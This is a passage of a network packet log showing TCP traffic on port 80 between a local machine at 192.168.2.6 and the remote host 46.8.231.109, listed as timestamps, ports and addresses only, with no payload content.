Oct 2, 2024 17:17:19.057352066 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057360888 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.057362080 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057374954 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057387114 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057395935 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.057425022 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.057432890 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057437897 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.057466030 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.057600975 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057615995 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057626009 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057636023 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057646990 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057657003 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057657957 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.057668924 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057678938 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057687998 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057688951 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.057699919 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057707071 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.057710886 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057727098 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.057750940 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.057924986 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057935953 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057945967 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057956934 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057966948 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057972908 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.057977915 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057988882 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.057998896 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058008909 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058024883 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058027029 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.058027029 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.058037043 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058041096 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.058048964 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058059931 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058067083 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.058073044 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058084011 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058085918 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.058094978 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058103085 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.058105946 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058118105 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058128119 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058130026 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.058139086 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058151007 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058156013 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.058177948 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.058190107 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.058413982 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058424950 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058434963 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058454990 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.058471918 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.058541059 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058552027 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058562994 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058573008 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058574915 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.058599949 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.058624029 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.058711052 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058722019 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058732033 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058742046 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058752060 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058753967 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.058763027 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058774948 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058792114 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.058801889 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.058823109 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.058823109 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.058837891 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.058995962 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059006929 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059016943 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059029102 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059037924 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059040070 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059050083 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059060097 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059067965 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059072018 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059083939 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059092999 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059096098 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059104919 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059114933 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059120893 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059124947 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059133053 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059138060 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059159994 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059182882 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059222937 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059257984 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059340954 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059353113 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059362888 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059374094 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059390068 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059391022 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059401989 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059412003 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059413910 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059427023 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059432030 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059437990 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059458971 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059485912 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059546947 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059573889 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059612989 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059632063 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059643984 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059653997 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059664965 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059669971 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059690952 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059695005 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059704065 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059711933 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059715033 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059727907 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059750080 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059813023 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059823990 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059834003 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059844971 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059847116 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059864998 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059874058 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059876919 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059889078 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059900045 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059900045 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.059919119 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.059931993 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.061453104 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.061510086 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.061511993 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.061525106 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.061547041 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.061562061 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.061564922 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.061577082 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.061587095 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.061599970 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.061606884 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.061767101 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.061777115 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.061785936 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.061789036 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.061799049 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.061810970 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.061810970 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.061821938 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.061830044 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.061834097 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.061845064 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.061845064 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.061856031 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.061873913 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.061892033 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.061899900 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.061923981 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062052965 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062063932 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062073946 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062083960 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062087059 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062096119 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062103033 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062107086 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062118053 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062128067 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062128067 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062140942 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062149048 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062164068 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062176943 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062185049 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062203884 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062235117 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062397003 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062407970 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062417030 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062428951 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062438011 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062443972 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062455893 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062462091 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062468052 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062477112 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062479973 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062491894 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062503099 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062505960 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062513113 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062524080 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062534094 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062542915 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062544107 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062556028 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062560081 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062567949 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062577963 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062577963 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062591076 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062594891 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062602997 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062612057 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062616110 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062627077 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062638044 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062664032 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062840939 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062853098 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062863111 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062874079 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062884092 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062900066 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062937021 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062947989 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062958002 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062977076 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062987089 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.062988043 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.062998056 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063002110 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063010931 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063034058 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063066959 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063086987 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063098907 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063108921 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063119888 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063127041 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063134909 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063138008 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063149929 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063157082 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063160896 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063173056 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063183069 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063209057 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063378096 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063397884 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063407898 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063419104 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063430071 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063431025 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063442945 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063445091 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063455105 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063467026 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063477039 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063482046 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063488007 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063499928 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063513041 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063535929 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063586950 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063597918 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063607931 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063617945 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063621998 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063630104 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063637018 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063642979 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063654900 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063663006 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063667059 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063688993 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063725948 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063749075 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063765049 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063776016 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063786030 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063796043 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063806057 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063817024 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063817024 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063828945 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063839912 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063842058 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063852072 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063859940 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063863993 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063874960 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063875914 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063886881 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063898087 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063899040 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063910007 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063920975 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063924074 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063932896 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063944101 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.063945055 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063962936 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.063977003 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064116955 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064126968 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064136982 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064147949 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064158916 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064186096 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064322948 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064335108 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064344883 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064354897 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064364910 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064371109 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064377069 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064388037 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064399004 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064399004 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064413071 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064415932 CEST	65273	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:19.064423084 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064434052 CEST	80	65273	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:19.064440966 CEST	65273	80	192.168.2.6	46.8.231.109
